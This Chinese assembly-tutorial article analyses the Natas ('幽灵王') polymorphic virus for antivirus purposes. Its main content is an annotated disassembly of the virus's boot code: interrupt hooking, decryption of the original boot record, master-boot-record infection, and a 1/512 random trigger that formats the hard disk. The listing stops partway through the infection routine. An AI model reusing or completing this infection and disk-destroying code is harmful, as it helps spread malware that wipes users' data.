汇编语言全接触-105.Natas 幽灵王病毒的分析

病毒介绍:

Natas 病毒,长度 4744 字节,有的地方有把它称为 4744 病毒,由于病毒是用了变型技术,本身的形态几乎有无穷多种,使杀毒软件总漏掉一两个,不知什么时候又冒了出来,所以又称它为'幽灵王'。

但变型加密技术并不可怕,我认为,查病毒并没有通用的方法,病毒用了多少的代码用于加密,杀毒程序也少不了这么多代码,编病毒的人用了多少时间调试,杀病毒的人只会用更多的时间去分析,从来没有通用的杀毒办法,只要以这种态度去分析病毒,杀毒程序就能把病毒杀完全。君不见,有些杀毒软件刚推出是号称开放式杀毒,永远不用升级,用户自己只要加加病毒库就行了,但到后来,升级升得比谁都快,出一个新病毒一升级,版本号都快把26个字母用完了。

由于 Natas 病毒的长度长达 4744 字节,变型加密部分就用的近 2k,我一时没有时间写具体的杀毒细节,只能尽可能多注释一下。

Natas 病毒是一种恶性病毒,它再启动时有1/512的机会要格式化硬盘。如果发现它,要注意马上杀,不然下一次启动你的硬盘资料可能就完蛋了。具体分析见注释。如果谁有杀毒原程序愿意公布,可以发一份给我。

病毒分析:

9E80:0000 0E PUSH CS

9E80:0001 1F POP DS

9E80:0002 E89400 CALL 0099 ;保存 INT 13/15/21/40

9E80:0005 A27304 MOV [0473],AL ;AL = 0

9E80:0008 A21114 MOV [1411],AL

9E80:000B 8EC0 MOV ES,AX

9E80:000D 5F POP DI

9E80:000E 83EF03 SUB DI,+03

9E80:0011 50 PUSH AX

9E80:0012 57 PUSH DI ;设置执行原引导记录地址

9E80:0013 BE4700 MOV SI,0047 ;解密并恢复原引导区

9E80:0016 E81D00 CALL 0036

9E80:0019 B013 MOV AL,13

9E80:001B BA7204 MOV DX,0472 ;设置新 INT 13 => CS:0472

9E80:001E E8B300 CALL 00D4

9E80:0021 E8EF00 CALL 0113 ;传染硬盘引导区

9E80:0024 84168E00 TEST [008E],DL

9E80:0028 740B JZ 0035

9E80:002A B8FF01 MOV AX,01FF

9E80:002D E83611 CALL 1166 ;产生随机数 < 512

9E80:0030 7503 JNZ 0035 ;如果为 0 转格式化硬盘

9E80:0032 E91304 JMP 0448 ;即每次启动有 1/512 的机会

9E80:0035 CB RETF ;格式化硬盘

;===========================================================================

;加密/解密原引导记录

9E80:0036 8A64FF MOV AH,[SI-01]

9E80:0039 B92900 MOV CX,0029

9E80:003C FC CLD

9E80:003D AC LODSB

9E80:003E 32C4 XOR AL,AH

9E80:0040 D0C4 ROL AH,1

9E80:0042 AA STOSB

9E80:0043 E2F8 LOOP 003D

9E80:0045 C3 RET

9E80:0046 07 FD-3D DC B6 A0 5C C1 FF 11 .}=\6 \A..

9E80:0050 09 A7 40 70 D6 04 B4 19-58 0A 6B CF DE BD 3A 0C .'@pV.4.X.kO^=:.

9E80:0060 0E E0 CB D4 E6 DE 45 42-F0 13 B3 7E F8 BD 0B 4A .`KTf^EBp.3~x=.J

;==========================================================================

; 新引导区入口程序

;==========================================================================

9E80:0070 E80000 CALL 0073 ;重定位

9E80:0073 BF4000 MOV DI,0040

9E80:0076 8EDF MOV DS,DI ;0040:0013

9E80:0078 836DD306 SUB Word Ptr [DI-2D],+06 ;内存减 6K

9E80:007C 8B45D3 MOV AX,[DI-2D]

9E80:007F B10A MOV CL,0A

9E80:0081 D3C8 ROR AX,CL

9E80:0083 8EC0 MOV ES,AX ;高端段地址

9E80:0085 B80902 MOV AX,0209 ;读出病毒 9 扇区

9E80:0088 33DB XOR BX,BX

9E80:008A B9014F MOV CX,4F01 ===> ;CX, DX 值由 0166 设置

9E80:008D BA0001 MOV DX,0100

9E80:0090 CD13 INT 13

9E80:0092 7203 JB 0097

9E80:0094 06 PUSH ES ;转 0000 执行

9E80:0095 53 PUSH BX

9E80:0096 CB RETF

9E80:0097 CD18 INT 18

;===========================================================================

;保存中断开始 5 字节

;INT 13 ===> 13EB

;INT 15 ===> 13F3

;INT 40 ===> 13F7

;INT 21 ===> 13FB

9E80:0099 1E PUSH DS

9E80:009A 33C0 XOR AX,AX

9E80:009C 8ED8 MOV DS,AX

9E80:009E BE4C00 MOV SI,004C ;中断 13

9E80:00A1 BFEB13 MOV DI,13EB

9E80:00A4 56 PUSH SI

9E80:00A5 56 PUSH SI

9E80:00A6 A5 MOVSW

9E80:00A7 A5 MOVSW

9E80:00A8 5E POP SI

9E80:00A9 A5 MOVSW

9E80:00AA A5 MOVSW

9E80:00AB BE5400 MOV SI,0054 ;中断 15

9E80:00AE A5 MOVSW

9E80:00AF A5 MOVSW

9E80:00B0 5E POP SI

9E80:00B1 38067504 CMP [0475],AL

9E80:00B5 7403 JZ 00BA

9E80:00B7 BE0001 MOV SI,0100

9E80:00BA A5 MOVSW

9E80:00BB A5 MOVSW

9E80:00BC BE8400 MOV SI,0084 ;中断 21

9E80:00BF A5 MOVSW

9E80:00C0 A5 MOVSW

9E80:00C1 1F POP DS

9E80:00C2 C3 RET

;=========================================================================

;取中断向量于 ES:BX, 入口 AL = 中断向量号

9E80:00C3 50 PUSH AX

9E80:00C4 32E4 XOR AH,AH

9E80:00C6 D1C0 ROL AX,1

9E80:00C8 D1C0 ROL AX,1

9E80:00CA 93 XCHG AX,BX

9E80:00CB 33C0 XOR AX,AX

9E80:00CD 8EC0 MOV ES,AX

9E80:00CF 26C41F LES BX,ES:[BX]

9E80:00D2 58 POP AX

9E80:00D3 C3 RET

;=========================================================================

;设置中断向量到 DS:DX, 入口 AL = 中断向量号

9E80:00D4 50 PUSH AX

9E80:00D5 53 PUSH BX

9E80:00D6 1E PUSH DS

9E80:00D7 32E4 XOR AH,AH

9E80:00D9 D1C0 ROL AX,1

9E80:00DB D1C0 ROL AX,1

9E80:00DD 93 XCHG AX,BX

9E80:00DE 33C0 XOR AX,AX

9E80:00E0 1E PUSH DS

9E80:00E1 8ED8 MOV DS,AX

9E80:00E3 8917 MOV [BX],DX

9E80:00E5 8F4702 POP [BX+02]

9E80:00E8 1F POP DS

9E80:00E9 5B POP BX

9E80:00EA 58 POP AX

9E80:00EB C3 RET

;========================================================================

;所有寄存器进堆栈

9E80:00EC 2E8F060214 POP CS:[1402]

9E80:00F1 9C PUSHF

9E80:00F2 50 PUSH AX

9E80:00F3 53 PUSH BX

9E80:00F4 51 PUSH CX

9E80:00F5 52 PUSH DX

9E80:00F6 55 PUSH BP

9E80:00F7 56 PUSH SI

9E80:00F8 57 PUSH DI

9E80:00F9 1E PUSH DS

9E80:00FA 06 PUSH ES

9E80:00FB 8BEC MOV BP,SP

9E80:00FD 2EFF260214 JMP CS:[1402]

;=========================================================================

;所有寄存器出堆栈

9E80:0102 2E8F060214 POP CS:[1402]

9E80:0107 07 POP ES

9E80:0108 1F POP DS

9E80:0109 5F POP DI

9E80:010A 5E POP SI

9E80:010B 5D POP BP

9E80:010C 5A POP DX

9E80:010D 59 POP CX

9E80:010E 5B POP BX

9E80:010F 58 POP AX

9E80:0110 9D POPF

9E80:0111 EBEA JMP 00FD

;==========================================================================

;文件执行初始化及启动时传染硬盘子程序

;由 0021 043C 调用

9E80:0113 0E PUSH CS

9E80:0114 0E PUSH CS

9E80:0115 07 POP ES

9E80:0116 1F POP DS

9E80:0117 B80102 MOV AX,0201

9E80:011A BB1314 MOV BX,1413

9E80:011D B90100 MOV CX,0001

9E80:0120 BA8000 MOV DX,0080

9E80:0123 E89509 CALL 0ABB ;读硬盘主引导区

9E80:0126 7230 JB 0158

9E80:0128 38AFBF01 CMP [BX+01BF],CH ;无保留磁道不传染

9E80:012C 742A JZ 0158

9E80:012E 8B8FC401 MOV CX,[BX+01C4] ;取保留磁道扇区数

9E80:0132 83E13F AND CX,+3F ;屏蔽 CX 高位 (柱面高位)

9E80:0135 83E909 SUB CX,+09 ;到数 9 扇区

9E80:0138 761E JBE 0158 ;扇区数小于 9

相关推荐
浩浩测试一下5 小时前
内网---> WriteOwner权限滥用
网络·汇编·windows·安全·microsoft·系统安全
一品人家12 小时前
win32汇编使用GDI+入门教程之九
汇编·windows·win32汇编
虚构之人1 天前
二进制漏洞挖掘(WinAFL Fuzzing)Windows篇
汇编·网络安全·信息安全·系统安全
一品人家3 天前
win32汇编使用GDI+入门教程之六
汇编·windows·win32汇编
前端菜鸟日常4 天前
鸿蒙开发实战:100 个项目疑难杂症汇编
汇编·华为·harmonyos
188号安全攻城狮5 天前
【PWN】HappyNewYearCTF_9_ret2syscall
linux·汇编·安全·网络安全·系统安全
万法若空5 天前
Vim常用指令汇编
汇编·编辑器·vim
请输入蚊子6 天前
«操作系统真像还原» 第二章 编写MBR主引导记录
linux·汇编·操作系统·bochs·操作系统真像还原
188号安全攻城狮6 天前
【PWN】HappyNewYearCTF_8_ret2csu
linux·汇编·安全·网络安全·系统安全
切糕师学AI9 天前
ARM 汇编指令系列文章导读
汇编·arm开发